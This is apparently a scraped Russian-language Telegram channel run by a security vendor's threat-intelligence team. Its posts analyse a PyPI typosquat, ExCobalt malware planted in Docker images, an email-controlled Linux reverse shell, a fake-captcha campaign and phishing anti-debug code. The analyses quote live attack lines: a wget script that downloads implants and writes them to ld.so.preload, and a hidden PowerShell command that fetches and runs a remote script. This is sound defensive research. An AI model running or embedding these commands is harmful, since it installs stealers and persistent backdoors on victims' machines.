ESCalator
6.59K subscribers
479 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳

Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись bvk в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.

Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.

Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).

Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.

Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.

IoCs:

пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net


#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍108❤‍🔥2
(Ex)Cobalt в контейнере 🛂

В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.

Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории /var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+. Она содержит слои контейнеров:

/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH


Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:

docker save myimage:latest | gzip > myimage_latest.tar.gz


Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд: COPY, которая копировала файл update в образ, и команды запуска скрипта /bin/bash /update. Затем модифицированный образ был загружен в локальный Docker Registry.

{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}


Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт update:

#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload


Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в /etc/ld.so.preload.

/usr/lib/x86_64-linux-gnu/libssoc.so — образец ExСobalt Launcher запускает процессы /usr/bin/checks и /usr/bin/processes.

🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.

Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.

IoCs:

leo.rpm-bin.link
mirror.dpkg-source.info

e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa


#ir #ioc #malware
@ptescalator
🔥239🆒7👍1
«Прикрепляю данные во вложении» 💌

У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.

Примечателен он следующим:

• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.

Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:

1️⃣ messenger.py — транспорт. Этот скрипт получает команды от злоумышленника и отправляет на С2-сервер результат их выполнения, используя IMAP и SMTP.

2️⃣ agent.elf — основной агент. Постоянно опрашивает транспорт для получения команд, исполняет их в интерпретаторе командной строки, сохраняя вывод для последующей передачи на С2-сервер.

3️⃣ maldrv.ko — LKM-руткит. Используется для повышения привилегий агента.

int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( getuid() )
{
fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
return 1;
}
else
{
extract_file("/root/.agent.elf", agent_elf, 30400uLL);
extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
extract_file("/root/.messenger.py", messenger, 5295uLL);
inject(shellcode_out, 136uLL);
call_all_plugins("/root/.agent.elf");
return 0;
}
}


Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов finit_module и запускает агент.

🙌 Модуль maldrv.ko перехватывает системный вызов execve. При передаче определенного аргумента он повышает привилегии вызывающего процесса через commit_creds, после чего агент активирует транспорт для приема команд и передачи их результатов (см. скриншот).

📧 Транспорт messenger.py использует заданный в скрипте почтовый ящик. Для получения команд он раз в 10 секунд забирает из папки inbox письма с темой Command, полученные не ранее текущей даты, забирая таким образом только свежие команды. Саму команду он ищет в части письма с MIME-типом text или plain, записывая ее в файл /root/.output/.output.txt. После получения письмо с командой удаляется из почтового ящика.

Результаты выполнения команд, которые записываются отдельными файлами в каталог /root/.output/, архивируются в ZIP‑файл, который шифруется AES в режиме CBC. Затем «частями» по 40 КБ этот файл отправляется на заданный почтовый ящик. Если в списке почтовых аккаунтов несколько учетных записей — отправление каждой из частей зашифрованного архива распределяется между ними.

👨‍🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.

По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.

IoCs:

SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4


#ti #malware #tips #ioc
@ptescalator
👍20🔥1710🆒1
Какому сервису вы обычно «доверяете» конфиденциальную информацию? 👍
Anonymous Poll
7%
DeepSeek 🐳
8%
ChatGPT 🤖
1%
Cursor 🐭
0%
Groq 🤨
2%
GigaChat 💬
29%
Форум War Thunder
3%
YandexGPT 📱
0%
Gemini 🔷
1%
Copilot 🤝
47%
Telegram ✈️
😁41🌭13👏8🍌3👎2
Лох не мамонт, APK не видео 🦣

В конце 2024 — начале 2025 года в сети активно обсуждалась информация о распространении в Telegram вируса Mamont. Этот банковский троян, представляющий собой вредоносный .apk-файл, встречался нам с именами CBO-Information.apk, Фoтoгpaф.apk, Google Video.apk, Video.apk, Видео.apk, Фото.apk, Photo.apk, Докyмент <Количество штук>.apk и т. п.

При установке на телефон — запрашивает разрешение на установку в качестве приложения для СМС по умолчанию. При закрытии скрывает от пользователя свое присутствие в системе, убирая значок из меню на главном экране. При этом в фоновом режиме собирает информацию об установленных приложениях, о сим-картах, СМС-сообщениях, вызовах, а также другие пользовательские данные и отправляет их на управляющий сервер.

🔑 Пути проникновения на ваш Android

Неизвестный отправляет вам в мессенджере файл с расширением .apk и спрашивает, не вы ли изображены на фото или видео. Иногда требует срочно открыть архив с документами, который представляет собой .apk-файл.

Вирус также может попасть на устройство:

• через фишинговые сайты;
• через QR-коды для вступления в закрытые группы, каналы и т. п.;
• под видом легитимных приложений (.apk-файлы не с официальных магазинов);
• при наличии физического доступа у злоумышленника.

🔐 Как не попасться

1️⃣ Будьте более внимательными:
• не переходите по ссылкам из сообщений, не посмотрев, куда они ведут;
• не вводите данные учетной записи на подозрительных ресурсах;
• избегайте сканирования QR-кодов в общественных местах (они могут вести на фишинговые сайты);
• не открывайте файлы из недоверенных источников.

2️⃣ Настройте конфиденциальность в мессенджере. Вы можете запретить приглашать вас в группы и отключить получение СМС-сообщений от незнакомых пользователей («Настройки» → «Конфиденциальность»).

3️⃣ При получении от знакомого голосовых, СМС- и видеосообщений с необычными просьбами свяжитесь с ним через альтернативные каналы (злоумышленники часто используют дипфейки).

4️⃣ Не храните пароли и банковские реквизиты в избранных сообщениях и чатах.

5️⃣ Устанавливайте приложения только из официальных магазинов и с сайтов разработчиков. Проверяйте запрашиваемые разрешения: если приложение требует доступ к данным, не соответствующим его функциональности, это может указывать на вредоносное ПО.

6️⃣ Регулярно проверяйте список установленных приложений — раздел «Приложения» («Установленные файлы» и т. п.) в параметрах устройства. Некоторое вредоносное ПО скрывает себя от пользователя. Можно также использовать средства для мониторинга активности, которые уведомят о подозрительных действиях.

7️⃣ Обращайте внимание на уведомления и поведение устройства. Если приходит много нетипичных уведомлений или устройство сильно нагревается в неактивном состоянии, это может быть признаком того, что оно заражено.

8️⃣ Регулярно обновляйте ОС и приложения. В обновлениях часто содержатся исправления безопасности.

9️⃣ Используйте проверенные антивирусы.

1️⃣0️⃣ Для защиты от физического доступа к устройству используйте надежный пароль.

1️⃣1️⃣ Регулярно создавайте резервные копии данных и храните их в безопасном месте.

1️⃣2️⃣ Для оценки ущерба при заражении мобильного устройства проведите его исследование.

1️⃣3️⃣ Постоянно обучайтесь и будьте в курсе новых угроз. Для общей осведомленности можете пройти бесплатные курсы Positive Technologies — «Личная кибербезопасность» и «Базовая кибербезопасность: первое погружение».

💡 Помните, что APK (Android Package Kit) — это формат, используемый в контексте приложений, но никак не для фото- и видеофайлов.

🎁 Бонус: опубликовали IoCs за 2025 год в Telegraph.

#news #tips #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍86❤‍🔥3🥱2🆒1
Двигайся, как вода. Замирай, как зеркало. Отвечай, как эхо... 🪞

В этом посте расскажем об одном обнаруженном экземпляре фишинговой страницы. Он примечателен тем, что в нем используются приемы противодействия автоматизированному и ручному анализу, а в коде содержатся пасхалки.

Достав смартфон и перейдя по ссылке. Атака начинается с фишингового письма, в котором URL-ссылка помещена в виде QR-кода (видно на скриншоте). При переходе по ссылке происходит выполнение JavaScript-кода, который запускает проверку фиктивных условий и загружает другой HTML-код через запуск document.write().

Содержимое HTML-кода раскодируется через комбинацию запусков функций atob (Base64-декодирование), escape (кодирование символов в HTML-сущности) и decodeURIComponent (декодирование из percent-кодирования). О подобной технике, когда для подгрузки страницы используется комбинация (де)кодирований, мы уже рассказывали в одном из предыдущих постов.

document.write(decodeURIComponent(unescape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxt...


🧐 Интересной находкой в подгруженной HTML-странице оказалось наличие нижеприведенной функции. При анализе JavaScript-кода в интерпретаторе или через инструменты разработчика в браузере функция вызывает запуск дебаггера и приостанавливает выполнение кода; при этом его запуск не осуществляется при обычной загрузке веб-страницы в браузере.

Таким образом, обернув запуск дебаггера в два performance-метода и посчитав время выполнения этого участка кода, функция принимает решение о перенаправлении на легитимную страницу, если данное время превысило 100 миллисекунд — такой вот встроенный антидебаггер в фишинговой странице от ручного анализа кода страницы.

(function zjXTcdfpRH() {
let TUUFRqHXUc = false;
const lPOfbBRoMU = 100;
setInterval(function() {
const nzBpzARgyq = performance.now();
debugger;
const Mhaorlnpom = performance.now();
if (Mhaorlnpom - nzBpzARgyq > lPOfbBRoMU && !TUUFRqHXUc) {
TIxhHrwbpI = true;
TUUFRqHXUc = true;
window.location.replace('https://www.walmart.com');
}
}, 100);
})();


От непосредственной формы сбора паролей нас отделил только запуск Cloudflare Turnstile — частый гость на фишинговых страницах для противодействия получения контента автоматизированными средствами наподобие веб-краулеров.

Советы 🧞

При исследовании кода фишинговых страниц можно обнаружить разные техники противодействия ручному и автоматизированному анализу. Даже если инструменты или средства защиты не могут обходить эти техники, упрощение правил обнаружения может помочь защитить пользователей от угроз.

Фраза, найденная в начале кода фишинговой страницы, — «The successful warrior is the average man, with laser-like focus © Брюс Ли» — должна напомнить всем исследователям о важности упорства и концентрации в борьбе с фишинговыми угрозами и в получении нового знания.

#TI #phishing #tips
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍138
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁

В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.

Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.

Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.

Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.

Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.

Список наиболее популярных признаков, которые можно использовать для идентификации С2:

Параметры TLS-сертификата
Параметры TLS-соединения (JA3, JA4, JARM и т. д.)
Заголовки ответа от сервера
Контент и title страницы
Набор открытых портов
Favicon

Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.

Список сервисов, которые помогут вам искать С2 таким способом:

Shodan
Censys
FOFA
ZoomEye
BinaryEdge
Netlas
ONYPHE
Самописный сканер

Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.

😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt.

Кроме того, есть базовое опенсорс-решение для автоматизации запросов.

В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.

💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали title, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы.

Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.

#TI #C2 #tips #hunt #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍23🔥167🆒3👎2😎1👾1
Где можно найти историю команд PowerShell? 🧐

Наверняка в первую очередь в голову придут журналы Windows и файл ConsoleHost_history.txt, однако есть еще один довольно интересный артефакт.

Речь идет о журнале PowerShell Transcript. Он представляет собой текстовый файл, в который записываются данные о командах, выполняемых в ходе сеанса PowerShell.

В PowerShell Transcript мы можем обнаружить такую интересную информацию, как:

имя пользователя, выполнявшего команды;
время начала и окончания журналирования данных;
введенные команды и результат их выполнения.

Стоит отметить, что этот механизм журналирования по умолчанию выключен. Чтобы включить его, необходимо установить в ключе реестра Windows HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription значение EnableTranscripting = 1 (REG_DWORD).

Файлы журналов по умолчанию записываются в директорию \Users\[username]\Documents\[YYYYMMDD]. Но этот путь можно изменить, прописав необходимую директорию в значении OutputDirectory ключа HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription.

Пример журнала:


**********************
Начало записи сценария Windows PowerShell
Время начала: 20240802191321
Имя пользователя: TEST\User
Запуск от имени пользователя: TEST\User
Имя конфигурации:
Компьютер: PC1 (Microsoft Windows NT 10.0.17763.0)
Ведущее приложение: powershell New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force
ИД процесса: 13612
PSVersion: 5.1.17763.2931
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17763.2931
BuildVersion: 10.0.17763.2931
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
PS>New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force


DisableRestrictedAdmin : 0
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName : Lsa
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry



PS>$global:?
True
**********************
Конец записи протокола Windows PowerShell
Время окончания: 20240801913322
**********************


#tips #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32🔥17👏6🆒2
А вы автоматизируете отладку? 🧐

Команде экспертов PT Sandbox в работе часто приходится отлаживать различные компоненты ядра Windows, и без ядерного отладчика здесь не обойтись. Чем чаще мы этим занимаемся, тем больше желание оптимизировать этот процесс.

Часто при отладке хочется посмотреть изменение переменных, аргументов, различных значений рантайма. Этого можно добиться условными брейк-пойнтами и командами. Много лет назад в WinDbg появилась поддержка новой модели данных. Командой dx можно объявлять свои переменные, структуры, вызывать JavaScript-функции и делать LINQ-запросы.

Например, мы хотим зажурналировать все открытые файлы процессом explorer.exe:

0: kd> dx @$explorer = "explorer.exe"
0: kd> bp /w "@$curprocess.Name.ToLower().StartsWith(@$explorer)" nt!NtCreateFile "dx ((_OBJECT_ATTRIBUTES*)@r8)->ObjectName->Buffer; gc"


Если же условия или логика перехвата более сложная, без скрипта не обойтись. Рассмотрим пример.

Допустим, мы хотим поймать и сохранить шеллкод, внедряемый в удаленный процесс. Для этого потребуется перехватить функцию NtWriteVirtualMemory, проверить, принадлежит ли описатель текущему процессу, и в противном случае сохранить регион памяти на диск. Как это выглядит в скрипте:

"use strict";

function WriteMemoryCallback()
{
if (host.currentThread.Registers.User.rcx == -1)
{
return;
}

let address = host.currentThread.Registers.User.rdx;
let buffer = host.currentThread.Registers.User.r8;
let length = host.currentThread.Registers.User.r9;
let filename = ${host.currentProcess.Name}-${buffer.toString(16)}.dmp;

let file = host.namespace.Debugger.Utility.FileSystem.TempDirectory.CreateFile(
filename, 'CreateNew');

file.WriteBytes(host.iss.onemory.readMemoryValues(buffer, length, 1));
host.diagnostics.debugLog(`dumped ${length} bytes to ${filename}\n`);
file.Close();
}

function initializeScript()
{
return [new host.apiVersionSupport(1, 9)];
}

function invokeScript()
{
let bp = host.namespace.Debugger.Utility.Control.SetBreakpointAtOffset("NtWriteVirtualMemory", 0, "nt");
bp.Command = `dx @$scriptContents.WriteMemoryCallback(); gc`;
}


Иногда может не хватать набора API JavaScript-движка — с помощью ExecuteCommand можно вызвать любую команду отладчика, например чтобы удалить брейк-пойнт или поставить его по конкретному адресу:

let exec = host.namespace.Debugger.Utility.Control.ExecuteCommand;
let command = `dx @$scriptContents.BreakPointCallback(); gc`;
exec("bc *");
exec(`bp 0xfffffc024d546a88 "${command}"`);


Также JavaScript позволяет дополнять модель данных отладчика, например добавлять инфу о секциях загруженных DLL или дополнительную команду, аналогичную !handle, !address и т. п.

Допустим, мы хотим перечислить коллбэки на создание процесса, потока и загрузку DLL. Для этого нужно создать команду, например !callbacks:

const log  = x => host.diagnostics.debugLog(x + '\n');
const u64 = x => host.iss.onemory.readMemoryValues(x, 1, 8)[0];
const exec = x => host.namespace.Debugger.Utility.Control.ExecuteCommand(x);

function ParseCallbacks(Symbol, Size)
{
log([+] ${Symbol}:);
let base = host.getModuleSymbolAddress("nt", Symbol);
if (base == null)
return;
for (let i = 0; i < Size; i++)
{
let entry = u64(base.add(i * 8));
if (entry.compareTo(0) != 0)
{
entry = entry.bitwiseAnd(-16);
let callback = u64(entry.add(8));
log(\t${exec(.printf "%y", ${callback}).First()});
}
}
}

function CallbackEnumerator()
{
ParseCallbacks("PspCreateProcessNotifyRoutine", 64);
ParseCallbacks("PspCreateThreadNotifyRoutine", 64);
ParseCallbacks("PspLoadImageNotifyRoutine", 8);
}

function initializeScript()
{
return [new host.apiVersionSupport(1, 7),
new host.functionAlias(CallbackEnumerator, "callbacks")];
}


Результат на скрине. Современный WinDbg позволяет сильно автоматизировать процесс реверса, и у опытного аналитика наверняка есть комплект часто используемых скриптов.

#avlab #sandboxteam #tips
@ptescalator
🔥26👍1411🆒3
Стоит ли открыть комментарии? 💬
Anonymous Poll
48%
Да 👍
31%
Нет 🙅‍♀️
21%
Напишу в комментариях 🍞
7🔥74😱1🤡1
Радиолюбителям приготовиться 📻

Внутренние системы группы киберразведки обнаружили взлом сайта для радиолюбителей. Сайт существует с 2017 года и стабильно входит в число первых результатов поиска в Яндексе.

При входе на сайт пользователю сразу же предлагается пройти проверку и доказать, что он не робот. Однако вместо привычного набора задач при клике на кнопку «Я не робот» запускается JavaScript-функция. Она не выполняет проверку, а копирует заранее подготовленный текст в буфер обмена (скриншот 1).

Пользователю предлагается следовать инструкциям: открыть окно «Выполнить» (Win+R) и нажать Ctrl+V, чтобы вставить скопированный текст. При этом в буфер попадает команда:

PowerShell.exe -WindowStyle Hidden -nop -exec bypass -c "iex (New-Object Net.WebClient).DownloadString('https://45.61.157.179/script.ps1') # 'I am not a robot - reCAPTCHA ID: 477237535673 TRUE'"


Из-за ограниченного размера окна «Выполнить» отображается лишь последняя ее часть (скриншот 2):

I am not a robot - reCAPTCHA ID: 477237535673 TRUE


Это позволяет скрыть от глаз невнимательного пользователя факт выполнения вредоносного кода. Команда запускает PowerShell в скрытом режиме, отключая проверки безопасности, скачивает удаленный ps1-скрипт по указанному URL и сразу его выполняет. Ранее о подобных способах распространения ВПО писали наши коллеги. А недавно схожий инцидент зафиксировал наш SOC (но об этом — в следующих постах).

📸 Скрипт представляет собой примитивный стилер. Вредоносный инструмент скачивается в систему и выполняется для извлечения данных (в числе которых — имя компьютера и пользователя, сведения об операционной системе, процессоре, дисках, а также внутренние и внешние IP-адреса), файлов (документов, таблиц, презентаций, текстовых материалов и изображений, найденных на рабочем столе и в папке «Загрузки»), а также для создания 300 скриншотов экрана с интервалом в 30 секунд. Кроме того, в скрипте присутствуют комментарии на русском языке (скриншот 3).

После сбора информации формируется команда curl, которая посредством POST-запроса HTTP отправляет данные на сервер злоумышленников с адресом https://45.61.157.179/upload.

Скрипт взаимодействует с IP-адресом 45.61.157.179 (AS 14956, ROUTERHOSTING, США), где размещен домен eschool-ua.online. На этом сайте находится форма для входа в сервис DrobBox, предположительно функционирующий как командный центр злоумышленников (скриншот 4). На момент написания поста домен уже недоступен.

IoCs

45.61.157.179
eschool-ua.online
4bdaa2e9bc6c6986981d039b29085683ed36b5c2549466101a81ad660281465c


#TI #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣20🔥17👍10😱4🤡211
Forwarded from GigaHackers (Vlad Driev)
[SCCM NTLM Relay]

Всем привет! 👋
Недавно была опубликована моя статья про атаки на SCCM. В ней достаточно подробно описан стенд для тестирования, сами атаки и конечно защита от них! Кейс через SCCM достаточно часто встречается в больших инфраструктурах, поэтому рекомендую ознакомиться!

Из интересного:
💬 Компрометация SCCM через TAKEOVER1
💬 Компрометация SCCM через TAKEOVER2
💬 Компрометация SCCM через TAKEOVER5
💬 Повышение привилегий в домене AD через SCCM
💬 Гайд по настройке защиты SCCM

Читать здесь.

Если будут вопросы, пишите в комментариях

@GigaHack

#pentest #gigahack #sccm #AD
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍87
Не выбрасывай старый айфон, пока не прочитаешь этот пост (и после тоже) 🚮

Недавно нашему эксперту Виталию, который занимается расследованиями инцидентов с мобильными устройствами, на анализ попал iPhone 5s, на экране которого отображался знакомый многим текст: «iPhone отключен. Подключитесь к iTunes». Это означало, что после 10 неверных попыток ввода пароля устройство заблокировалось. Казалось бы, все данные утеряны, но у Виталия была идея, как их можно извлечь 💡

🔑 Используем checkm8

Для доступа к данным он решил воспользоваться аппаратной уязвимостью iPhone, которая присутствует в процессорах A5–A11. Эксплойт checkm8 позволяет загрузить мобильное устройство в режиме BFU (before first unlock) и извлечь оттуда данные.

💰 Какие данные удалось извлечь

С помощью Elcomsoft iOS Forensic Toolkit и UFED 4PC извлек данные из связки ключей (keychain) и файловой системы устройства.

При анализе эксперт обнаружил:

Артефакты устройства: модель, версию iOS, серийный номер, IMEI.

Данные пользователя: номер телефона, информацию о сим-картах, учетных записях, избранных и заблокированных контактах и др.

Параметры сетевых соединений: список ранее подключенных Wi-Fi-сетей, Bluetooth-устройств, их MAC-адреса.

Артефакты приложений: данные из незашифрованных баз данных и кэша некоторых приложений.

🎆 Итог

Этот эксперимент показал, что даже заблокированные iPhone хранят ценную информацию, которую можно извлечь при наличии нужных инструментов и знаний. Это еще раз подтверждает важность надежного шифрования и своевременного удаления конфиденциальных данных перед продажей устройства.

С полным текстом проведенного исследования можете ознакомиться в статье на SecurityLab.

#dfir #mobile #ios
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26❤‍🔥9👍9🆒3👏211🐳1👾1